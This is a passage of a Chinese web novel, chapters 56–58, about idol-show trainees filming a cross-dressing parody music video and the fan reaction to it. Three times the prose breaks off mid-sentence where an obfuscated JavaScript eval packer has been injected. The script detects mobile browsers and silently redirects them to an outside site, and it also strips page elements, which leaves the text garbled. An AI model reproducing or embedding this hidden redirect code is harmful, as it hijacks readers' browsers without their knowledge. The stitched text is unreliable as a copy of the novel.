他……凑得也太近了。叶莱皱眉往后退,下巴却被一把捏住,那双黑色的瞳孔里没有异样,只有执拗的认真。 “别动,这可是我第一次给人化妆,我不想留下黑历史。” 就算画不好,留下黑历史的也是我吧……叶莱心里嘀咕,但脸却再没有退过。 不过…… “骗子,明明旻海脸上的疤痕就是你画的。” 嗯?傅寻砚想起来了。 “那我纠正一下用词,第一次给人化全妆。” 那人身上的雪松气味缓缓传递到脖颈和额头,将他慢慢包裹其中。 他小指关节的温热不断倚靠他的颧骨,轻柔地磨蹭,距离太近了,近到叶莱能数清他的睫毛根数。 屏住呼吸,不想让气流吹动他脸上的细小绒毛。 叶莱不知道把眼神放在哪,只好乱转,但视线几乎被那张脸占据,在这个距离下,傅寻砚脸上的毛孔都清晰无比。 好的,他几乎没有毛孔,真让人嫉妒! 不知道过了多久,叶莱只知道再这么下去自己的脸会红的爆炸,那种糟糕情况出现的前一秒,他终于听到那人说好了。 长吁一口气站起来,叶莱率先动动腿脚,缓解全身各处麻痹的神经。 傅寻砚被气笑了。 “拜托,我才是站着给你化妆的人,你一直坐着哪里累了?” 叶莱不听,盯着他两秒后伸手捂住耳朵,逃似的钻入换衣间。 视线瞥过门口的全身镜,他不由心想那家伙是个骗子。 这是第一次化妆能做到的成果? [嘿嘿嘿,姐妹们懂我吧……] [开磕!狠狠嗑!这个距离四舍五入就是亲了!我寻叶今天崛起了!] [嘁有什么了不起,无脑cp粉滚吧,傅都有女友了还在这麦麸真恶心] [我就要嗑管你屁事] [呜呜呜我也想嗑但是真的很膈应,傅寻砚到底为什么还不澄清啊,都挂了四天了!] [澄清?都那么锤了怎么澄清?除非谁现在跳出来告诉我这个女的是他亲戚,钻戒是生日礼物(我编不下去了)] [真的,我头一次看到锤里有钻戒的,这雷神之锤啊,硬的不能再硬了] 除了争吵,观众的注意里也在其他地方显现。 [阿巴阿巴,这个男人不仅比我美还比我会化妆] [对选秀无感但傅老师的手法真的震惊到我了,居然开着美妆教学视频能做的一模一样,我咧个超绝复刻机啊] [就是说哪怕出不了道,傅寻砚也能去开油管当美妆博主吧] [呸呸呸,前面不准说!] 画面一转又来到了叶莱给傅寻砚化妆的场景,不过这时候叶莱疑似已经换好衣服,所以镜头被安置在叶莱胸前,只对着傅寻砚的脸拍摄。 [妈妈我无法呼吸了……] [鉴定完毕,纯素颜] [这样太好看了我的天哪,就不是那种脂粉味的好看,完全像是超模啊演员的那种好看] [我懂我懂!] [我的屏幕已经湿了哈哈哈,就是说一个狂舔!] [美绝了,叶莱你要争气啊!千万别化坏咯,我会骂你的!] 但很显然,叶莱的手是摆着看的工艺品,他能把鼻影涂到脸颊,眼影戳进眼睛里。 化到一半,叶莱的手被一把攥住,他低头。 傅寻砚叹气,“想谋杀我直接说,不用在我死前还要喂我一嘴化妆品。” 56.第五十六日 最后是化妆师姐姐过来抢救。 “嘶,好好看啊傅寻砚。”来帮忙的正好是小可,那位履历丰富原来在高奢彩妆专柜做柜姐的女孩。 “你是历史上最棒的男模特。”小可认真脸,“以后我要是发达了,你的脸能不能借我玩玩,真的太好化了呜呜呜。” “这什么话这什么话!”江瀚路过,一脸愤慨。 “刚刚冯家瑞折磨我你才没有那么安慰!” 小可:“那……你也很好化妆,真的,面部平整度完美!” 江瀚:…… “别以为我听不出来,你就是在说我五官平呗。” 傅寻砚抬手,江瀚主动把头蹭过来。 “呜呜呜呜寻宝,我太委屈了!” “别听她的,你最帅了!” 江瀚得到想听的话,又蹦跶着走了。 虽然是恶搞性质的MV,但导演组不至于把演员都弄得很难看,除了女主角们需要变装外,江瀚的衣服选用了主题曲制服。 不过因为江瀚是娃娃脸,这身笔挺的制服穿在他身上除了帅气外,略带一点诙谐的萌感。 傅寻砚去换装。 十几分钟后,当一切打理完毕,白镇率先开启拍摄。他和江瀚挤在一把伞下,冯家瑞正卖力地帮忙空中降雨。 可惜这是个纸片人,肌肉无力,端起水枪一个没注意松开阀门,微微小雨立马变成倾盆大雨兜头洒落,把周围人淋了个全湿。 “呀冯家瑞!一会你完蛋了!我们一定要安排你吻戏!” 冯家瑞脸色大变,差点一头从梯子上栽下来,惊慌求饶。 好在男女主挤在一把伞下没被淋湿,MV得以继续拍摄。 导演换了场景,又在喊下一个女主预备。 于是刘永善接力,从远处娇娇柔柔走过来,礼服款式的长裙根本限制不了他的发挥。 “真别说,刘永善除了脸不像女的,这身段这走路姿势完美。”编剧不由得感叹,“但越努力越心酸,我肯定他一定是最后被笑的最多那个。” 没有其他理由,因为刘永善本身就不是以颜值著称的练习生,这会儿换了女装也没有好多少。 “叶莱已经在候场了。”导演遥遥一望,“傅寻砚呢?他人去哪了?” 助理安静如鸡,好半天举着手机指了指五十米开外人头攒动的地方,导演一开始还以为是奶茶到了在分奶茶。 “傅寻砚也去拿奶茶了?” “不,不是的。”助理解释,“有没有可能,没有奶茶,只有傅寻砚?” 她伸手,把手机里的照片怼给导演看,“这是前方战地记者的一手报道,请您参看。” 导演挑眉,接过。 “哇哦。” 助理心里一喜,就知道你这老登也是这个反应。 镜头里,死亡顶灯为黑色的假发镀上冷银般的光泽,黑色贝雷帽压得很低,恰好露出眉骨下那抹猩红眼影——像毒蛇信子扫过雪面,又似淬了毒的红玫瑰刺。 傅寻砚身上的黑色皮质束腰裹出窄腰线条,外面罩着件oversize的黑色风衣,走动时下摆扬起,露出靴筒上暗纹刺绣的荆棘花。 颈间的银质项圈垂着枚子弹形状的吊坠,随着呼吸在锁骨下方轻轻晃荡。最致命的是那支哑光红唇,唇角微微上挑,像是刚舔过枪口的血珠,带着冷冽的危险美感。 “这……这是傅寻砚???”导演爆发出尖锐爆鸣, 围着青年的造型师、灯光师、道具实习生人均一脸呆滞,抬着的手机械似的哐哐拍照,生怕漏掉任何一个绝美角度。 傅寻砚适应度——不能说良好,但属实被这群人整无语了,本来还有一点的羞涩荡然无存。 “你们会不会反应太超过?只是女装而已。” 傅寻砚捂住额头,那种懒倦的姿态却意外又引发一阵惊呼。 小可:“你对你的美貌一无所知!” “还有,把你的‘只是女装而已’收回去!这是对姐化妆手法的侮辱!” 傅寻砚哭笑不得,只得道歉。 导演在另一边呆滞了几分钟,终于缓过神来。 “不是,他怎么女装也那么合适?” 因为他那张脸做男做女都精彩啊——助理默默吐槽。更别提这次傅寻砚虽然没穿裙而是穿的女士皮衣皮裤,但正因为皮衣的紧绷,将他的胸肌展露无疑! 刘永善本来发挥得很开心,结果演到一半旁边场务人越来越少,远处还在爆发阵阵尖叫。刘永善站在小台阶上一把撑住江瀚的头,不顾他龇牙咧嘴而张望。 “我说是谁抢走了我这位绝代公主的关注呢,原来是寻砚啊。” “你们有点过分哦,搞笑女就不配拥有关注了吗?” ** 金黄银杏叶在逆光中飞舞,男孩抱着一摞专业书推开天台门,忽然被天台边缘的黑色风衣衣角绊了个踉跄。 书本散落的瞬间,他看见逆光中站着位身高腿长的女杀手,脚边躺着支拆解成零件的狙击枪,枪管正滚向他的《线性代数》课本。 女杀手指尖转着狙击枪消音器,挑眉张嘴,由于是MV,观众只能从唇语中读出她的话语、 “同学,能帮我捡下‘口红’吗?” 男生瞬间瞳孔地震,却鬼使神差单膝跪地捡那发烫的零件,使出一招教科书式韩剧弯腰:“那个……学姐是射击社的吗?” 风中的女杀手忽然逼近,高跟鞋碾住他的鞋带,两人距离近到能看见她耳后未褪去的枪油痕迹。她从他领口扯下一片落叶,却顺势用叶片边缘抵住他喉结。 “看过《城市猎人》吗?现在流行杀手在图书馆天台等外卖。” “那……”男生吞咽了一下口水,“学姐要加份辣炒年糕吗?我的校园卡能打折。” 女杀手挑眉一笑:“辣炒年糕?顶级套房里的辣炒年糕?” 男孩(立马收起卡):“不好意思,是我这个穷逼不配了。” ** “所以为什么轮到我们之后,表白失败的是我?” “这是你应该郁闷的问题吗?” 江瀚扒拉着傅寻砚的肩头,满脸不可置信。 傅寻砚失笑,撑着膝盖,因为周围一圈如狼似虎的眼光而慢慢并拢双腿——明明穿的是裤子为什么总感觉不太安全…… “你的戏份就到这里吗?感觉怪怪的。” 江瀚抓耳挠腮,总觉得哪里不对又说不上来,刚刚和冯家瑞他们一起拍摄的片段也短,可至少比傅寻砚这边长。 这个问题很快有了答案,傅寻砚去卸妆时被编剧拦住了。 “诶等等,你后面还有一幕要出场。” 便利店的布景外,和那张广为流传的绯闻照里穿着差不多的叶莱靠在墙边,手里转着戒指。只可惜这次没有富二代赞助,鸽子蛋不是钻石而是假水晶。 “你来啦。”叶莱挑了挑眉,“这身还挺适合你。” 傅寻砚低头看了看,确实,其实这身衣服算不上什么女装,走的是中性风,尤其是刚刚编剧要求他把假发和假胸取掉之后。 他似乎在MV里恢复了男性身份。 屏幕外的林薇薇扶额,一时间不知道将男性和女性魅力都发散到极致的这个MV,是否有利于他们亲爱的大使维持形象。 剧情已经来到了男主穿越到最后一个场景。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15430670|164369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江瀚所扮演的男孩推开便利店的门,却与一位化着浓妆的女士擦肩而过。 “等等,帮姐姐买包烟怎么样?” 男孩不明白,明明对方也不是什么十八岁以下未成年,为什么不能自己去买烟,但她的颐指气使太过自然,等男孩反应过来时,手里已经拿着烟递了过去。 穿金戴银的富婆姐姐正靠在便利店外的墙上看着远方,神情不算愉快,手机上明明白白写着分手二字。 她见男孩回来,晃着手里的戒指,正要作为交换放到粗粝的掌心,镜头轻移却照出了她旁边不远处的人影。 雪粒子打在便利店玻璃上沙沙作响,暖黄色的街灯把男人的银发染成蜜色。他倚着墙,手里夹着一支烟。 黑色风衣下摆被风掀起,露出靴筒上未化的雪粒——像刚从冰窖里捞出来的刃,却在瞬间凝出了露水。 女人疑惑地顺着男孩的眼光看顾怄气,踩着细高跟的脚变换了一下位置,银色皮草领口蹭过涂着深紫口红的唇角。 卷发被风雪揉得有些乱,香奈儿五号的尾调裹着雪气钻进屏幕外人们的鼻腔,像把燃烧的玫瑰插进冰桶,刺啦一声,燎开了冬夜的寂静。 明明该是两男争一女的浪漫场景,但很遗憾编剧没忘记这是个搞笑MV的本质。 镜头里男杀手并没有盯着美丽妖艳的女人,而是邪魅一笑,将视线对准了男主角。 口型分明是“看来学弟蹲守在这,是准备请这样子的我吃辣炒年糕啊?” 啊啊啊啊!林薇薇捂住了嘴,他们在干什么!女杀手变男装回去问男主你满意了没这是几个意思! 还有那个女富婆的眼神,为什么在知道面前的“男杀手”其实性别为女后要变得那么娇羞! 不愧是恶搞型MV……林薇薇无力吐槽。 玻璃门外的姑娘一看见林薇薇的神情就知道她完全被剧情吸引走注意力,没有发现自己要提醒的事情,于是斗胆推开一条门缝。 “姐,你看叶莱的造型!这个造型有没有很熟悉?” 林薇薇咳了两声掩饰自己的激动,随即发现了问题。 还真有点眼熟,在哪见过呢?巴黎时尚周?不对,这款也太老了,那是日本风尚?也不对…… 等等!绯闻照! 林薇薇瞪大眼睛,立刻用手机把那张照片又找了出来对比,这样放在近处观察果然瞧出不对劲来。 “嘿,还真是几乎一样呢。不仅是衣服,连脸也……”林薇薇愣住。 “这就是叶莱吧!” 倒吸一口凉气,林薇薇连忙查找叶莱的事迹,才发现对方竟然在H国出道过,而那张绯闻照也是H国拍的。 哦豁,难道小李催着她看MV。 林薇薇赶紧打开弹幕,顺便去评论区逛了一圈,果不其然有很多粉丝发现了端倪。 [原来是这样啊,绯闻照的女主根本就是叶莱吧?] [但是嗯?叶莱为什么会穿成那个样子出现在那里啊?] [我盲猜一波团综,之前他那个公司同时间另一个男团也做了女装挑战来着] [所以就是说叶莱大半年前就认识傅寻砚咯,这是什么命中注定的缘分!异国他乡也能这样像电视剧里一样遇见的嘛?] [啊啊啊啊真是这样的话我要闹了!我本来还怀疑我的记忆回去搜了一下文件呢,根本没有这个团综,拍了不给粉丝看是什么道理!] [¥……¥%¥请添加联系方式:79&*……9886……%……67,我有偷拍的原片] [卖片的?房管呢?把他轰出去!] [不要啊!姐妹他是真的!他真的有原片!] 57.第五十七日 屏幕上一片哗然,吵得让林薇薇都觉得眼睛疼。她当然也关心那场绯闻的真相,但奇怪的是看见叶莱女装后她没有感到很激动。 而是默默把进度条拖回了傅寻砚女杀手妆造出场的地方。 “咦这小子风格还挺多的,要是知道他能接受女装,上次就该更突破一点。” “不知道丛赫下去能不能接受,一起让他们试试女装线呢,说不定有预料之外的收获……” 第二遍,林薇薇终于打开了弹幕,从一位理智的生意人的角度,去评判傅寻砚的装扮是否能被大众接受。 然后……啊这一片汪洋的夸夸里,根本看不见黑子的存在……甚至连画质都变差了。 [啊啊啊!!!这是什么仙子下凡!!!哥哥的脸是被上帝吻过吧?!!!] [建议直接入选《全球百大美女》!!!」这哪里是女装大佬,分明是迪士尼在逃公主吧?!!睫毛精+冷白皮+天鹅颈 = 人类美貌天花板!!!] [刚入坑的萌新提问:哥哥还有多少惊喜是朕不知道的?! [立刻转发寻宝女装直拍并@三位好友,速来接受美貌暴击,看完不喊老婆算我输!]、 [女娲娘娘是不是偷偷把你当毕业设计了?这脸是真实存在的吗?建议直接收录进《世界非物质文化遗产名录》,毕竟美到违反自然规律doge] [寻宝啊啊啊,你这脸是人民币做的吧?要不然我怎么越看越喜欢!] 林薇薇罕见露出了老年人表情,又移动进度条到叶莱和傅寻砚便利店相遇的场景。 明明全场只有江瀚才是唯一男主,但好像完全被隐身了。男扮女又女扮男的杀手,脸上还残留着一些化妆品的痕迹,但人工降雪湿润了他的面容,湿漉漉的眉毛与发就像古宅里蔓延而生的青苔,带着腐朽而惑人的气息。 眼睛里有情绪,是那种克制的开玩笑,仿佛生怕对面的人因此而不喜。 旁边的叶莱就更直白了,林薇薇和观众一对比就知道他根本没入戏。 他看向傅寻砚的眼神比看向男主角的要动容,被暖意所包裹的抱歉缓缓流露。 林薇薇这才注意到弹幕里出现好多次的网址。她一愣,复制后打开。 摇晃的镜头开场,以骤然被放下结束,最后的画面里,穿着女装的男孩还在便利店门口,盯着寒风敬业地完成那出戏码,全然不知道工作人员跑没了影,而他就一个人被丢在了那里。 镜头的另外一半被他占去。 那个明明无人知晓的男孩。 夜色中的便利店浸在昏黄的灯光里,玻璃门映出模糊的霓虹倒影。 而他斜倚在门框边,连帽衫的帽檐压得很低,却遮不住锋利的下颌线。高挑的身影被拉得更长,几乎要融进身后便利店的光影中。 身边的“女孩”正在编辑信息,将那两枚鸽子蛋交到他手里。 他嗤笑,无奈的神情表示了他对女孩不设防的惊讶。戒指在他手中没有规律地被转动,而后被攥起的手心包裹。 掌心中宝石的触感不太对。 傅寻砚第一次把眼光真正投射到身边的女性身上。 打量她的裙、她的高跟鞋、她的发与她的包。 然后突然嗤笑。 他拍了拍女孩的肩,把戒指隔空交回去,从她手里抽走那杯已经凉透了的咖啡。 女孩一惊,终于醒悟过来自己把他晾了很久,加上帮忙的感谢,询问是否可以送他些吃的。 毕竟男孩说过,这杯咖啡是他的晚餐。 “小姐。”男孩的眉眼里突出露出了锋利,由于他本已打算转身回去,所以离叶莱的麦远了些,声音也变得虚无缥缈。 “我帮你可不是为了交换一顿晚饭。” 他的眼神很深,嘴角绷成一条直线,仿佛不太高兴。 叶莱无法理解这种情绪,但他也很不爽,这么冷的天穿这么一点在这做这种无意义的团综拍摄,有谁问过他的意思吗? 而且,他必须把代价换到便利店员工手里,如果不这样,这期团综播出后一定有一堆人骂他没礼貌不懂感恩。 “我知道你不是这个意思,但也请接收我的好意可以吗?不然我良心过意不去。” 便利店的自动门开了又关,带起的风掠过他黑色的衬衫领口,锁骨处的链子微微闪光。 那瞬间,他忽然笑了。不是刚刚那样沉默的透露出一点暖意的笑容,而是变得非常傲慢,夹杂着刺人的冷酷,从眼底漫上来,又迅速被睫毛的阴影截住。 “所以呢?你的报恩是只要你开心就可以了对吧,全然不顾帮助者的感受?” 丢下这句话,男孩转身进了便利店,回到他的位置。 那个狭小的、安静的、卑微的位置。 叶莱差点跳脚,火气蹭蹭上涌。 在异国被狗崽子们看不起也就算了,为什么这个国人也那么冷酷! 他浑然忘记,先伪装身份的人是他自己。 但叶莱的字典里没有“破罐子破摔”这句话,已经工作三年的他迅速控制住脸上的肌肉,做出了一个疑惑的表情,好像真没听清楚对面的话一样。 因为载赫不愿意拍摄而被遗留在原地的摄像机忠实地记录着这一幕,记录着画面里的人堪称不欢而散。 事情就是如此之巧合。 叶莱那期团综拍摄失败后,相机中的片段并未被销毁,而且因为事发突然竟也没有人再管过这些素材。 可是吧,有些人天生就有商业头脑,瞅准了叶莱和那个便利店小哥都有星味,于是偷偷做了备份,自己闲来无事剪辑剪辑,封存在U盘里。 像这样的文件他可不止做了一个,就等着这些影片的主人公哪天翻红,他能拿着去卖钱呢。 所以这不是等到了吗?先前绯闻照,其实也是他放出去的。时至今日仍在各个综艺团队打下手的这位,某天通过熟人听到Pennyline公司正在搜集一个异国小明星的绯闻,于是立刻动心。 通过这张照片,他直接赚了一辆本地车。 不过人心不足蛇吞象,一张照片能给他带来那么多收益,那么一整个片段又会有怎样的进账呢? 再卖出去肯定不现实,因为后者立刻能发现绯闻照是谁搞的鬼,于是这位干脆想,不如用这个片段作为打响名头的契机,转行当狗仔算了。 这才有了今天的局面。 [呜呜呜本来看前半段以为是什么甜宠偶像剧,谁能告诉我为什么就做个街头小测试两个人还能臭脸啊!] [还能为什么,你家哥哥没礼貌呗,寻叶be了] [楼上披皮黑去死吧,什么没礼貌,两边哪怕生气了都很有礼貌好吧?] [所以问题来了,到底为什么生气?] 细心的观众很快扒出了原因。 [我好像知道了……] [我也……] [感觉寻宝已经看见叶莱包里的摄像头了,所以才冷脸吧,因为好心被辜负了,没有当场让删已经是最大的温柔了] [所以做街头测试的自媒体真的要注意,虽然大多数时候大家都愿意陪着玩,但有些人真的不喜欢真心被骗] [唉这把叶莱血亏,综艺又没播出去,又给寻宝留下了不好的印象] [等下既然这样,傅寻砚上节目后有没有认出叶莱啊?认出来了也没问?] 好问题,傅寻砚有没有认出叶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15442202|164369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莱呢? 对这个问题的反向疑问,叶莱有没有认出傅寻砚已经不必多说,当初粉丝在初舞台的那期节目里狂喊他爱他所以才盯着他的谣言被击破。 叶莱一直盯着傅寻砚那看,是因为认出了熟人,才不是什么“一见钟情”。 叶妈深觉被骗,立刻回头开始细扒傅寻砚,试图找到他也认出叶莱的证据。 但…… [???傅寻砚到底认没认出来啊?感觉他看了叶莱一眼又没说什么] [铁认出来的,这事情才过去了半年又不是十年,虽然叶莱当时妆很浓,但靠的那么近不可能想不起来] [认出来了为什么不说呢?] [呃有没有想过,他只是怕叶莱尴尬] 时间回到现在,转场的时候叶莱拨弄着长发,视线在傅寻砚肩头和绿植之间乱飘。 “那时候的事情……很抱歉。” “没什么。”傅寻砚远远望着江瀚补镜头。 叶莱还是没忍住,“当时你为什么生气?真的是因为被骗所以不开心了吗?” 摄像机在旁边还在运作,但叶莱可能也没想到这种闲聊会被剪出来放出去。他们以为这一身女装已经是对绯闻的最强回应,无需再做任何补充。 可剪辑师不觉得,女装是对绯闻的澄清,可他们的谈话才是流量的爆点啊。 傅寻砚摇了摇头,终于收回视线看向了叶莱的脸。 “不是被骗,只是认出了你的身份而已。” 身份?叶莱眨巴眨巴眼睛。 “和我一样,华国人。” “明明他们那的人最吃清纯款美少女,轮到外国人的你却集合了恶女、骗男友、街头随意拉男性拍对戒照,叶莱,你当时难道不觉得难受吗?” 叶莱心神一震,下意识攥紧了喝水的纸杯。 幸好里边是空的。 他笑了笑,“嗯,是有点难受,但毕竟是工作嘛,也没办法。” 叶莱至今没搞懂那场综艺的拍摄逻辑,H国电视剧那么多,里边的经典女性角色随便拿一个出来都很有看头,载赫他们三个的就是选用经典片段,可到了他,综艺作家却偏要创作一个新形象。 大龄富婆、艳俗打扮,以及傅寻砚说的那些欺骗男友和做事随意,每一条都对标H国雷点。 叶莱当时还秉持着华国思维,虽然隐约感觉这个角色算不上讨喜,但毕竟华国人相比隔壁,没有那么容易站在渣男立场来谴责富婆的欺骗行为,所以就没当回事。 可到了今天,叶莱突然感受到了经纪人这么安排的恶意,更是庆幸那个综艺的拍摄失败。 如果放出来,对当时的他而言无异于灭顶之灾。 啊,其实也不能算灭顶之灾,毕竟结束拍摄后那周发生的事情,才是真正的灾难根源。 Mr.J,一个2011年末出道的四人团体,队长载赫是Vocal和创作担当,出道时叶莱才刚刚17岁,稚嫩青涩,作为老幺并不显眼。 2014年9月,Mr.J由载赫出品的《青春恋歌》突然爆火,凭借小清新的曲风和在MV里展露的漂亮面孔,叶莱实现人气攀升,一举从团内back变成了top。 可伴随着成名,世界天翻地覆。 载赫早就不满于公司抢走他大部分版权,一度闹僵,11月公司表面妥协弄出了个团综,拍到第四期要求全员女装,瞬间点燃了载赫的脾气,直接撕毁合同。 叶莱作为团内年纪最小的弟弟没有任何话语权,只能眼睁睁看着蒸蒸日上的组合在短短三个月内分崩离析。 也因此,Mr.J就像一颗闪耀的流星,在数分钟的璀璨之后便滑落深渊,消失在视野之中。 58.第五十八日 从拍完异能局开始,叶莱就总觉得心里不安。 这个不祥之兆在当晚得到印证。 “什么?运动会?有没有搞错二公我已经累成狗了竟然立马安排运动会这群天杀的我和你们拼了!” 江瀚:懂不懂被寻宝摁头健身的含金量啊.jpg 选管偷偷摸摸地瞥了一眼傅寻砚:“那又不是我让你们练的……” “而且按道理健身了一周,不是应该更有力气嘛?” “那个该怎么说,力气这东西很大程度是天生的,再说了就一周,怎么可能变成狂战士啊。”旻海无奈反驳。 “我们二公那属于紧急训练,只为了长点薄肌好看,完全中看不中用。而且吧,训练的力气又确实是花了,所以现在非常非常想休息,把这几天的消耗补回来。” “那你呢叶莱,你一脸不同意又是为什么?”选管扭头,决定挑一个好欺负的。 叶莱虽然骨子里是个高傲小王子,但毕竟脸长得好欺负,而且为了效果也很愿意牺牲。 但他没想到,近朱者赤近墨者黑,叶莱这小子被磨平的棱角又回来了。 叶莱扯掉假发的手顿了一下,没有回头,“虽然运动会很好,但有点没意思吧,年年都是这一出,会不会太没创意。” 选管:笔给你,你来写我们的日常活动剧本! 最后,虽然选管提交了练习生们的抗议,不过总策划杨清回复的意见是: “我只是问问。” 只是问问,所以谁的意见也不听取。 不仅不听取,他们还得知了一个不知道算不算得上噩耗的噩耗。 “和前进吧联动?有必要吗?”达裴一骨碌坐起来,满脑袋问号。 “他们给了五十万。” “ok,fine,当我没说。”达裴躺了回去。 白闻及一边抱着手臂监督宿舍里两个高中牲背书,一边还在“普及”小道消息。 “你怎么什么都知道啊。”沈迟书背不下来,企图打岔骗过去。 白闻及按照规则利落地敲了他一脑瓜,“因为我……” 达裴躺尸式举手:“这题我会,因为他超八卦。” 嗷!一声哀嚎伴随着沈迟的书被以抛物线还了回来。 “白闻及你恼羞成怒!” “白闻及我的书!” “那你还把书扔回来,我马上就再打一次。”白闻及拨开沈迟吊着他手臂的手,把书塞回他手里然后拿起傅寻砚的。 “还是寻砚的书比较硬,下次用他的。” 沈迟看了眼自己因为没包书皮且不珍惜使用而皱皱巴巴变得有点软的书,“唉小语文,你看有人外貌歧视,他连扔出去玩都不愿意用你。” 然后怒瞪傅寻砚:“不是说好一起努力的嘛!你的书怎么和新的一样?” 正在背《逍遥游》的傅寻砚:“有没有可能是因为我记得睡觉前把它放好而不是垫在脸旁边当口水垫?” 白闻及:失策。 本来以为只是皱了点,没想到还有点不干净。 “咦你还是小朋友吗沈迟?怎么能背书背得睡着还垫着睡?”达裴腾得有坐起来反复擦拭刚刚被砸中的脸,佯装嫌弃。 “哪有,我那叫努力!”沈迟抓狂,“你们好过分啊对待孩子能不能温柔一点鼓励一下!” “不能。”异口同声。白闻及还补了一句你又不是最小的,人家段琪琪才有资格自称孩子。 “我们都是为了你好,哥哥们可是寄予了很大的期待,希望你能跻身这个基地为数不多的正经大学生之列。” 白闻及也点头,仗着现在摄像头被遮住麦克风也摘了,开始毫不留情地批判。 “虽然不是书读得越多越有用,但也不能一点没墨水吧。” “有几个人我都不想说,他们的语文老师看了节目会不会丢脸得想引咎辞职?” 其他三个人知道白闻及说的是谁,他这番话完全带着情绪。 二公的《霸王别姬》组里,白闻及甚至不是C位而是队长,中期考核的时候节目组去他们练习室要白闻及做一个舞台介绍。 白闻及想着或许队伍里比较小的那个孩子需要一点曝光,所以果断把机会让了出去,对方很感激说自己会好好做的。 白闻及安心地挥手让他去了。 然后就收获了被网上流传“脑袋空空典范”的片段。 说起来,《霸王别姬》这首歌既有历史典故又有著名影视作品,好好回答的话肯定能让舞台有文化加成。 但那位声称会好好做,并且还比沈迟大了一岁的练习生面对节目组“你们的舞台会对《霸王别姬》有什么新的解读”的时候…… 他be like: “呃,啊,解读……解读的话,因为《霸王别姬》是一首很好听的歌嘛,我很荣幸能加入表演,所以希望……呃希望能够传递给粉丝们力量,能够感受到我们的努力,感受到舞台的魅力。” 说了,如说。 人家要你解读霸王别姬,不是解读自己! 霸王别姬才不会像你自己一样脑子空空! 关键这哥们回到练习室还很委屈,说那有什么办法他根本没看过《霸王别姬》的电影。 “对霸王别姬我又不了解!我以为她们会问我们做了什么准备呢,我连稿子都写了,比如白哥教我们戏曲唱段,小周编了很好看的舞……” 其他人:我们还得谢谢您呢! 他继续,“那个还有什么典故,我又没手机搜我怎么知道嘛!不过我也是有点印象的,就那个项羽和……和吕……吕什么来着的故事对吧?诶吕什么不是皇后吗?项羽当皇上啦?不对吧,不是刘邦是皇帝吗?” 其他人:算了,幸好你没对上马嘴,不然恐怕更糟糕。 白闻及脑内当即疯狂给自己做人工呼吸。 千错万错都是他的错,他误以为所有接受过九年制义务教育且年纪还不大且立志于做公众人物的人,至少知道霸王别姬项羽和吕雉……啊呸,项羽和虞姬的故事。 所以他没有在拿到歌后第一时间给大家讲讲故事,他错了。 白闻及的脸阴沉了好几天。 说起来也不能怪白闻及,他家学渊源,特别注重历史文化,甚至有时候达裴也骂他一谈到这种话题自带“爹味普及”。 不过白闻及一般不会以己度人,非要别人和他一样什么都知道。 但……怎么说呢,那家伙对待舞台的心也和心脏一样偏着,说他不用功吧,排练至少不拖后腿。说他认真吧,他连自己唱跳的歌曲文化背景都不了解一下。 属实有点过分,而且这一段还被播出去了。 播放量还挺领先,倒也不能算无效宣传。 ——一种新的出圈方式增加了。 白闻及想到这个脸又黑了,立马帮沈迟把他的语文书抚平,郑重地还给他。 “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15451615|164369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 必须加油,明晚再抽背《逍遥游》和《醉翁亭记》两篇。” 沈迟:“不要哇!明天白天还要运动!” 达裴毫不客气地嘲笑。 此时大家都没注意到宿舍里有个人悄悄碎了。 两个节目一共六十几号人办运动会,自己出场的几率很小吧? 应该? 当站在掰手腕的圆台,不远处六十多双眼睛让傅寻砚汗都快掉下来了,既有《新世纪》里相熟的,也有《前进吧》里不认识的生面孔。 对面的叶莱很镇定,但镇定中又有种莫名的慌乱。 “哇哇哇!这不就是咱节目第一第二之争吗?”底下张池偷偷摸摸开口。 立刻有人附和:“这就是命运?随机抽签,两个节目的人混一块他们都能抽到一组也太巧了。” “叶莱估计不行,傅寻砚好像很厉害的样子,二公那肌肉我的天!我先下注!我赌傅寻砚赢,不,我赌他是今天掰手腕之王!” 《新世纪》这边派出的主持人是邵若舟:“好的,现在两位选手站在了战斗场上,根据前面三轮的结果已经决出了三位民选大力王,现在对上的两位是我们从抽签箱里抽到的哦,完全没有作弊,真的是我们的小叶和小傅幸运中选。” “那么就来看看,命运女神青睐的大力王里,哪位更具实力吧!” 看着因为一公而素来不睦的邵若舟在前面说话,达裴选择听都不听就着草地拔草,一边还要和旁边的江瀚叨叨个不停。 他就是民选大力王之一,刚刚赢了《前进吧》那边的选手,想着一会儿能和傅寻砚对上,还有点小期待。 “诶,你之前和他一起练习一年,给哥透露下他的实力呗,让哥还有个心理预期,别到时候输的太丢脸。” “你怎么会这么想?”江瀚一脸惊讶,但达裴以为他在安慰自己。 